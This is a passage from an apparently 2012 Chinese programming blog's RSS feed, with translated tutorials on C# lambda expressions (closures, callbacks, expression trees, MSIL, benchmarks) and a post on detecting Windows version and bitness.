	var mother = HotDaughter.Activator().Message;
	//mother = &#34;I am the mother&#34;
	var create = new HotDaughter();
	var daughter = HotDaughter.Activator().Message;
	//daughter = &#34;I am the daughter&#34;
}

class CoolMother
{
	public static Func&amp;lt;CoolMother&amp;gt; Activator { get; protected set; }

	//此处是防止空引用
	static CoolMother()
	{
		Activator = () =&amp;gt; new CoolMother();
	}

	public CoolMother()
	{
		//Message of every mother
		Message = &#34;I am the mother&#34;;
	}

	public string Message { get; protected set; }
}

class HotDaughter : CoolMother
{
	public HotDaughter()
	{
		//一进入构造函数我们设置Activator ...
		Activator = () =&amp;gt; new HotDaughter();
		//Message of every daughter
		Message = &#34;I am the daughter&#34;;
	}
}
&lt;/pre&gt; 
&lt;p&gt;这很简单，希望没有对你产生误导，这种模式有时候会让事情变得异常复杂，这也是为什么我总是避免使用它。不过他很有用。（可以通过该方法构造所有的静态属性和方法，并且可以使你总是获得你感兴趣的那个）只要你不感到头疼，这是解决静态多态性的一个好方法。是的。静态多态性是可能的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第五部分</title>
      <link>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 27 Dec 2012 09:15:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;武汉下雪了。。今天介绍Lambda表达式非常有用的情况。。ps:这个高手之路已经翻译了10000多字了。。疼啊。。&lt;/p&gt;
&lt;p&gt;一些模式比另一些模式有时候更加合适，真正有用的模式是自定义方法表达式，用爱促使话一些对象的部分，我们考虑下面这种情况。&lt;/p&gt;
&lt;p&gt;我们想要创建一个可以处理多种延迟加载的对象，这意味着即时对象已经被实例化了，我们还没有加载所有请求的资源，一个理由就是防止大量的IO操作。（比如通过网络传输），当我们开始使用数据的时候，我们想要确定数据足够新鲜，现在有一些确定的方法可以做这个。并且最有效的显然是实体框架已经用LINQ解决了延迟加载的问题，Iqueryable&lt;T&gt;仅存储了查询，而没有任何无关的数据。一旦我们请求一个结果。不仅仅构造的查询被执行，同时也被以更高效的方式执行，比如一个在远程数据服务器上的SQL查询。&lt;/p&gt;
&lt;p&gt;在这里，我们仅仅想要看看两种情况的不同点，首先，我们查询，一切就绪，查询应该在已经加载了的数据上进行。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class LazyLoad
{
	public LazyLoad()
	{
		Search = query =&amp;gt; {
			var source = Database.SearchQuery(query);

			Search = subquery =&amp;gt; {
				var filtered = source.Filter(subquery);

				foreach(var result in filtered)
					yield return result;
			};

			foreach(var result in source)
				yield return result;
		};
	}

	public Func&amp;lt;string, IEnumerable&amp;lt;ResultObject&amp;gt;&amp;gt; Search { get; private set; }
}
&lt;/pre&gt; 
&lt;p&gt;简单来看，这里我们有两种不他哦你的方法，地一个是我们把数据从数据库里提取出来（也就是Database静态类所做的），然后第二个方法将会过滤从数据库里提取出来的数据。一旦我们将会从我们的第一次查询取得结果，当然我们也可以构造内置的其他方法来重置类的行为，对于工业级的代码，其他的方法也许更加有用。&lt;/p&gt;
&lt;p&gt;另一个例子是初始时间分支，假设我们有一个对象，该对象有个方法叫做Perform(),这个方法可以用来调用一些代码，包含这个方法的对象可以被初始化，初始化有三种方式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过传递方法来调用&lt;/li&gt;
&lt;li&gt;通过传递一些包含这个方法的对象来调用&lt;/li&gt;
&lt;li&gt;或者通过传递第一种情况下的序列化以后的信息来调用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在我们可以保留所有的三种方式做全局变量。而Perform方法将不得不查看当前的状态（或者是保存在枚举变量里，或者和null进行比较）然后检测被调用的正确的方式，最后调用开始。&lt;/p&gt;
&lt;p&gt;更好的一种方法是吧Perform()方法写成一个属性，这个属性仅仅允许在类里面进行set，它是一个委托类型，现在我们可以在对应的构造方法里面直接设置这个属性，因此，我们可以不用全局变量，也不用担心这个对象是如何实例化的，这种方法更好。&lt;/p&gt;
&lt;p&gt;看一小段简单的代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Example
{
	public Action&amp;lt;object&amp;gt; Perform { get; private set; }

	public Example(Action&amp;lt;object&amp;gt; methodToBeInvoked)
	{
		Perform = methodToBeInvoked;
	}

	//接口
	public Example(IHaveThatFunction mother)
	{
		//传递的对象必须有我们要用的方法
		Perform = mother.TheCorrespondingFunction;
	}

	public Example(string methodSource)
	{
		//Compile方法是任意的。
		Perform = Compile(methodSource);
	}
}
&lt;/pre&gt; 
&lt;p&gt;即时这个例子看起来如我们所愿被构造了。让阿尔。大多数情况下只使用前两种，但是随着领域特性语言，编译器，日志框架，数据访问层和其他很多情况下，通常有很多方式可以完成，但Lambda表达式也许是最优雅的。&lt;/p&gt;
&lt;p&gt;考虑这种情况，我们可以在函数编程领域体会到即时调用方法表达式的好处，我们可以看到C#中IIFE的一种用法。用的不多。但是我认为真的很好。但不是用在这种情况下。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;double, double&amp;gt; myfunc;
var firstValue = (myfunc = (x) =&amp;gt; {
	return 2.0 * x * x - 0.5 * x;
})(1);
var secondValue = myfunc(2);
//...&lt;/pre&gt; 
&lt;p&gt;我们也可以使用即时调用方法来防止一些确定的非静态的方法被重复调用。这就会出现自定义方法和初始时间分支和IIFE的组合使用了。&lt;/p&gt;
&lt;p&gt;下一节介绍一些新的Lambda设计模式&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第四部分</title>
      <link>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</link>
      <pubDate>Mon, 24 Dec 2012 19:20:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;首先祝大家平安夜快乐。本篇介绍一些流行的JavaScript模式。为下一篇打基础&lt;/p&gt;
&lt;p&gt;使用/了解JavaScript的一个好处就是函数的高级用法。。在JavaScript里。函数仅仅是对象。他们可以有赋给他们的属性。而在C#中。我们不能做我们可以在JavaScript的全部事情。但是我们仍然可以做些事情。一个原因是JavaScript在函数里给变量以作用域。因此，不得不通过创建函数，大多数情况是匿名的来定位变量。而在C#中。通过使用块，通过花括号来创建作用域&lt;/p&gt;
&lt;p&gt;当然，换种方式来说。C#中，函数也会给变量作用域。通过使用Lambda表达式。我们通过花括号在其里面创建了一个变量。然而。我们也可以局部的创建作用域。&lt;/p&gt;
&lt;p&gt;我们来看看通过使用Lambda表达式可以实现一些在JavaScript里面有用的模式把。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回调模式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个模式是个老的模式。事实上。回调模式从.net 的第一版就开始使用了。但是是以一种很简单的方式实现的。而现在。通过使用Lambda表达式。闭包，捕获变量等特性能够允许我们写出如下的代码来。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void CreateTextBox()
{
	var tb = new TextBox();
	tb.IsReadOnly = true;
	tb.Text = &#34;Please wait ...&#34;;
	DoSomeStuff(() =&amp;gt; {
		tb.Text = string.Empty;
		tb.IsReadOnly = false;
	});
}

void DoSomeStuff(Action callback)
{
	// Do some stuff - asynchronous would be helpful ...
	callback();
}&lt;/pre&gt; 
&lt;p&gt;对于JavaScript程序员会觉得这没什么啊。他们使用这个模式太多了。然而，它非常有用。因为我们可以使用参数作为Ajax相关事件的事件处理器（比如oncompleted，onsuccess），等等。如果你使用LINQ，那么你可能也会用到回调模式的一些东西。举个例子。LINQ的where子句将会在每一次迭代中回调你的查询语句。这只是回调函数的一个例子。在.net的世界里。事件如它名字所暗示的那样。通常是事件处理的首选方法。这有时候很像一个回调。他有两个参数。有一个特殊的关键字和一个类型模式（两个参数分别是sender和arguments，sender通常是object类型。Arguments通常继承自EventArgs）
可以通过+= 和-=给事件添加/删除事件处理程序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回方法&lt;/strong&gt;
和普通的方法比较。Lambda表达式也可以返回一个方法指针（就是一个委托实例），这意味着我们可以使用Lambda表达式创建/返回一个lambda表达式（或者今年仅是一个已定义好的方法的委托实例），大量的情况下。这个模式也很有用。首先看一下例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;string, string&amp;gt; SayMyName(string language)
{
	switch(language.ToLower())
	{
		case &#34;fr&#34;:
			return name =&amp;gt; {
				return &#34;Je m&#39;appelle &#34; + name + &#34;.&#34;;
			};
		case &#34;de&#34;:
			return name =&amp;gt; {
				return &#34;Mein Name ist &#34; + name + &#34;.&#34;;
			};
		default:
			return name =&amp;gt; {
				return &#34;My name is &#34; + name + &#34;.&#34;;
			};
	}
}

void Main()
{
	var lang = &#34;de&#34;;
	//Get language - e.g. by current OS settings
	var smn = SayMyName(lang);
	var name = Console.ReadLine();
	var sentence = smn(name);
	Console.WriteLine(sentence);
}&lt;/pre&gt; 
&lt;p&gt;代码本应该更短些。我们可以让default如果请求的语言没有找到。只是抛出一个异常即可。不过。这个例子展示了这是一种方法工厂。另一种同等效果的方法是包含一个Hashtable。或者更好的话用Dictionary&amp;lt;K, V&amp;gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第三部分</title>
      <link>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 20 Dec 2012 20:12:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;背后的秘密-MSIL&lt;/p&gt;
&lt;p&gt;通过著名的LINQPad，我们可以更深入的查看MSIL代码而没有任何秘密。下图是一个LINQPad的使用截图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30624_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2cc26ed754b0ac72d7caf372a917ef44d327d51a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们会看三个例子，第一个Lambda表达式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};&lt;/pre&gt; 
&lt;p&gt;对应的普通函数是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};
&lt;/pre&gt; 
&lt;p&gt;生成的MSIL代码片段如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret         
&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.0     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret       &lt;/pre&gt; 
&lt;p&gt;最大的不同是方法的名称用法不同。而不是声明。事实上。声明是完全一样的。编译器在类里面创建了一个新的方法来实现这个方法。这没什么新东西，仅仅是为了我们使用Lambda表达式方便代码编写。从MSIL代码中，我们做了同样的事情。在当前对象里调用了一个方法。&lt;/p&gt;
&lt;p&gt;我们在下图里演示一下编译器所做的修改。在这个图例。我们可以看到编译器把Lambda表达式移动成了一个固定的方法。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30625_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1500b574e9e4fd0cfb11b286eaff270102810b02.png&#34;&gt;&lt;/a&gt;
第二个例子将展示Lambda表达式真正的奇妙之处，在这个例子里。我们既使用了有着全局变量的普通方法也使用了有捕获变量的Lambda表达式。代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	int local = 5;

	Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt; {
		Console.WriteLine(s + local);
	};

	global = local;

	DoSomethingLambda(&#34;Test 1&#34;);
	DoSomethingNormal(&#34;Test 2&#34;);
}

int global;

void DoSomethingNormal(string s)
{
	Console.WriteLine(s + global);
}
&lt;/pre&gt; 
&lt;p&gt;没什么不同的似乎。关键是：lambda表达式如何被编译器处理&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;IL_0000:  newobj      UserQuery+&amp;lt;&amp;gt;c__DisplayClass1..ctor
IL_0005:  stloc.1     
IL_0006:  nop         
IL_0007:  ldloc.1     
IL_0008:  ldc.i4.5    
IL_0009:  stfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_000E:  ldloc.1     
IL_000F:  ldftn       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0
IL_0015:  newobj      System.Action&amp;lt;System.String&amp;gt;..ctor
IL_001A:  stloc.0     
IL_001B:  ldarg.0     
IL_001C:  ldloc.1     
IL_001D:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0022:  stfld       UserQuery.global
IL_0027:  ldloc.0     
IL_0028:  ldstr       &#34;Test 1&#34;
IL_002D:  callvirt    System.Action&amp;lt;System.String&amp;gt;.Invoke
IL_0032:  nop         
IL_0033:  ldarg.0     
IL_0034:  ldstr       &#34;Test 2&#34;
IL_0039:  call        UserQuery.DoSomethingNormal
IL_003E:  nop         

DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery.global
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1..ctor:
IL_0000:  ldarg.0     
IL_0001:  call        System.Object..ctor
IL_0006:  ret      
&lt;/pre&gt; 
&lt;p&gt;和第一个例子一样。机制相同。编译器把lambda表达式移动到一个方法里。但是不同的是，编译器这次还生成了一个类。编译器为我们的lambda表达式生成的方法会放在类里，这就给了捕获的变量一个全局的作用域，通过这样。Lambda表达式可以访问局部变量。因为在MSIL里。它是类实例里面的一个全局变量。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第二部分</title>
      <link>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 19 Dec 2012 20:03:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</guid>
      <description>&lt;h1 id=&#34;闭包的影响&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;闭包的影响&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;为了展示闭包的影响，我们看下面这个例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var buttons = new Button[10];

for(var i = 0; i &amp;lt; buttons.Length; i++)
{
	var button = new Button();
	button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
	button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(i.ToString()); };
	buttons[i] = button;
}
//如果我们点击按钮会发生什么&lt;/pre&gt;
&lt;p&gt;这个问题很怪，我在我的JavaScript课程上经常问我的学生。95%的学生会说。显然按钮0显示0，按钮1显示1，等等。而不足5%的学生学习了闭包之后会明白。所有的按钮都会显示10.&lt;/p&gt;
&lt;p&gt;局部变量i的值改变了。并且等于buttons.Length。也就是10了。想要避免这个诡异的情况也很简单。如下就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var button = new Button();
var index = i;
button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(index.ToString()); };
buttons[i] = button;&lt;/pre&gt;
&lt;p&gt;问题解决了，但是index变量是一个值类型，因此保留了“全局”i的一个拷贝&lt;/p&gt;
&lt;p&gt;最后一个话题是一个叫做表达式树的东西，他和Lambda表达式协作。并且，他会使得在ASP.NET MVC中的Html扩展方法发生一些很奇妙的东西。关键的问题是：如何发现目标函数&lt;/p&gt;
&lt;p&gt;1. 传递进去的变量的名称是什么
2. 方法的主体是什么
3. 函数体里使用了什么类型&lt;/p&gt;
&lt;p&gt;Expression 解决了这些问题，他允许我们挖掘生成的表达式树，我们也可以执行传递给Func和Action委托的函数，而且，可以在运行时解析Lambda表达式&lt;/p&gt;
&lt;p&gt;我们看一下如何使用Expression 类型的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Expression&amp;lt;Func&amp;lt;MyModel, int&amp;gt;&amp;gt; expr = model =&amp;gt; model.MyProperty;
var member = expr.Body as MemberExpression;
var propertyName = memberExpression.Member.Name; //当 member != null的时候执行  ...&lt;/pre&gt;
&lt;p&gt;这是Expression最简单的用法了。规则也相当直接。通过构建一个Expression类型的对象。编译器为生成的解释树生成一些元数据。这个解释树包含所有相关的信息，比如参数和方法体。&lt;/p&gt;
&lt;p&gt;方法体包含完整的解释树，我们可以访问这些操作。就像完整的语句一样。也可以操作返回指和类型。当然，返回可以为null，无论如此。大多数情况下。我们对表达式很感兴趣。这和ASP.NET MVC中处理Expression类型的方法是很相似的—可以得到使用的参数的名字，而好处是显而易见的。不会出现名称拼写错误了。也就不会出现因此而出现的编译错误了。&lt;/p&gt;
&lt;p&gt;注意：当程序员仅仅对调用的属性的名字感兴趣的时候。有一个更简单，更优雅的解决方案，那就是参数特性CallerMemberName 这个特性可以得到调用方法/属性的名称。而字段被编译器自动填充。因此，如果我们仅仅想知道名字，而不想知道其他更多的信息，那么我我们只需要写出像下面这个例子里的代码就行了。通过调用WhatsMyName() 方法可以返回方法的名字&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string WhatsMyName([CallerMemberName] string callingName = null)
{
    return callingName;
}&lt;/pre&gt;
&lt;h1 id=&#34;lambda表达式的性能&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;Lambda表达式的性能&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;有一个很大的问题：Lambda表达式有多快？好吧。首先，我们期望他们能和我们一般的函数一样快。下一节里。我们会看到Lambda的MSIL代码和普通的函数没有太大的不同。&lt;/p&gt;
&lt;p&gt;最有趣的一个讨论是如果Lambda表达式产生了闭包，将会和使用全局变量的方法一样快。这就产生了一个有趣的问题，和一个区域内局部变量的数目多少会有关系吗？&lt;/p&gt;
&lt;p&gt;我们看看测试代码，通过4个不同的指标，我们可以看到普通方法和Lambda方法的不同。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace LambdaTests
{
	class StandardBenchmark : Benchmark
    {
		const int LENGTH = 100000;
        static double[] A;
		static double[] B;

        static void Init()
        {
            var r = new Random();
            A = new double[LENGTH];
            B = new double[LENGTH];

            for (var i = 0; i &amp;lt; LENGTH; i++)
            {
                A[i] = r.NextDouble();
                B[i] = r.NextDouble();
            }
        }

        static long LambdaBenchmark()
        {
            Func&amp;lt;double&amp;gt; Perform = () =&amp;gt;
            {
                var sum = 0.0;

                for (var i = 0; i &amp;lt; LENGTH; i++)
                    sum += A[i] * B[i];

                return sum;
            };
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = Perform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Lambda-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static long NormalBenchmark()
        {
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = NormalPerform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Normal-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static double NormalPerform()
        {
            var sum = 0.0;

            for (var i = 0; i &amp;lt; LENGTH; i++)
                sum += A[i] * B[i];

            return sum;
        }
    }
}&lt;/pre&gt;
&lt;p&gt;本来用Lambda表达式我们可以把代码写的更好。最终我没有这样做。是为了防止影响看最后的结果。因此，本质上。上述代码里有三个方法
1个是Lambda测试，一个是普通测试，还有一个是在普通测试里调用的方法。而没有的第四个方法其实是我们的lambda表达式。在第一个方法里已经创建了。计算过程很简单，我们随机取数字防止编译器做任何优化。最后我们对普通方法和Lambda方法的不同很有兴趣。&lt;/p&gt;</description>
    </item>
    <item>
      <title>3分钟理解Lambda表达式</title>
      <link>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link>
      <pubDate>Sat, 08 Dec 2012 19:26:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;1.什么是Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式是一个匿名方法，通常在LINQ中被用来创建委托&lt;/p&gt;
&lt;p&gt;简单来说。它是一个没有声明，没有访问修饰符，没有返回值。甚至没有名字的方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.为什么我们需要使用Lambda表达式？或者说为什么我们要写一个没有名字的函数？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了方便，这种快捷方式允许你在调用的地方直接编写代码，尤其是你想调用的代码只会在这个地方使用一次。并且方法体本身很短。节省了单独写方法中写声明等等的麻烦。。&lt;/p&gt;
&lt;p&gt;好处&lt;/p&gt;
&lt;p&gt;1.代码量减少。不必写方法的名称。返回值和访问修饰符&lt;/p&gt;
&lt;p&gt;2.当阅读代码的时候。直接就可以看到被调用函数的代码，不用去别的地方。&lt;/p&gt;
&lt;p&gt;Lambda表示应该短些。太复杂了。可读性就下降了&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果编写Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda基本的定义是：参数=&amp;gt;执行代码&lt;/p&gt;
&lt;p&gt;举个例子&lt;/p&gt;
&lt;pre lang=&#34;cs&#34;&gt;n = &gt; n % 2 == 1&lt;/pre&gt;
&lt;p&gt;n是输入参数
n % 2 == 1 是函数体&lt;/p&gt;
&lt;p&gt;你可以读作：给这个匿名方法传入一个参数n，如果n是奇数就返回true&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用该Lambda的例子&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;List&amp;lt;int&amp;gt; numbers = new List&amp;lt;int&amp;gt;{11,37,52};
List&amp;lt;int&amp;gt; oddNumbers = numbers.where(n =&amp;gt; n % 2 == 1).ToList();
//现在oddNumbers 里面就是11和37了&lt;/pre&gt;
&lt;p&gt;ok.基本的Lambda表达式就是这样了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>获取操作系统版本信息</title>
      <link>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</link>
      <pubDate>Fri, 23 Nov 2012 13:24:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29601_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab5c1bb6b5cf05669ff110a1a4fe35b5a28a68a5.jpg&#34; title=&#34;wnidows version&#34;&gt;&lt;/a&gt;
坊间流传的代码都有些问题，比如不能正常获取win7以上的版本信息，不能获取诸如专业版，旗舰版等的信息，不能正常获取操作系统位的信息。&lt;/p&gt;
&lt;p&gt;使用代码，写了一个简单的库来实现效果。用法大概如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;StringBuilder sb = new StringBuilder(String.Empty);
sb.AppendLine(&#34;Operation System Information&#34;);
sb.AppendLine(&#34;----------------------------&#34;);
sb.AppendLine(String.Format(&#34;Name = {0}&#34;, OSVersionInfo.Name));
sb.AppendLine(String.Format(&#34;Edition = {0}&#34;, OSVersionInfo.Edition));
if (OSVersionInfo.ServicePack!=string.Empty)
sb.AppendLine(String.Format(&#34;Service Pack = {0}&#34;, OSVersionInfo.ServicePack));
else
sb.AppendLine(&#34;Service Pack = None&#34;);
sb.AppendLine(String.Format(&#34;Version = {0}&#34;, OSVersionInfo.VersionString));
sb.AppendLine(String.Format(&#34;ProcessorBits = {0}&#34;, OSVersionInfo.ProcessorBits));
sb.AppendLine(String.Format(&#34;OSBits = {0}&#34;, OSVersionInfo.OSBits));
sb.AppendLine(String.Format(&#34;ProgramBits = {0}&#34;, OSVersionInfo.ProgramBits));

textBox1.Text = sb.ToString();&lt;/pre&gt;
&lt;p&gt;对比一下坊间的几种不足：
总的来说。最大的问题就是不能正确检测你的操作系统到底是32位还是64位。几种方法大致如下：
1. 使用IntPtr指针的大小
最关键的一句代码是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;return IntPtr.Size * 8;&lt;/pre&gt;
&lt;p&gt;但是事实上，这个返回的不是操作系统的位数，返回的是运行的程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;2. 使用PROCESSOR_ARCHITECTURE 环境变量&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string pa = Environment.GetEnvironmentVariable(&#34;PROCESSOR_ARCHITECTURE&#34;);
return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0,
&#34;x86&#34;, 0, 3, true) == 0) ? 32 : 64);&lt;/pre&gt;
&lt;p&gt;这就是纯粹的误导了，因为和1的情况一样。不能返回处理器的位数而是返回了运行程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;3. 使用PInvoke 和 GetSystemInfo
注意：为了保持文章不要太长。。我没有包括PInvoke API的声明，（译者注：C#的互操作性嘛），但你可能在我提供的源代码里找到。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProcessorArchitecture pbits = ProcessorArchitecture.Unknown;
try
{
SYSTEM_INFO l_System_Info = new SYSTEM_INFO();
GetSystemInfo(ref l_System_Info);
switch (l_System_Info.uProcessorInfo.wProcessorArchitecture)
{
case 9: // PROCESSOR_ARCHITECTURE_AMD64
pbits = ProcessorArchitecture.Bit64;
break;
case 6: // PROCESSOR_ARCHITECTURE_IA64
pbits = ProcessorArchitecture.Itanium64;
break;
case 0: // PROCESSOR_ARCHITECTURE_INTEL
pbits = ProcessorArchitecture.Bit32;
break;
default: // PROCESSOR_ARCHITECTURE_UNKNOWN
pbits = ProcessorArchitecture.Unknown;
break;
}
}
catch
{
Ignore
}
return pbits;&lt;/pre&gt;
&lt;p&gt;老问题，还是会返回运行程序的位数，而不是操作系统/处理器的位数。
4. 使用PInvoke和GetNativeSystemInfo
我看到过有人说上面的都不可信。可以使用GetNativeSystemInfo代替，代码和上面一样，只是把GetSystemInfo换成GetNativeSystemInfo就好。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的throw</title>
      <link>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</link>
      <pubDate>Sun, 18 Nov 2012 12:33:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</guid>
      <description>&lt;p&gt;Throw会抛出/传递异常,通过在catch块里使用throw语句.可以改变产生的异常,比如我们可以抛出一个新的异常,throw语句有各种各样的,并且很有必要.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例子&lt;/strong&gt;
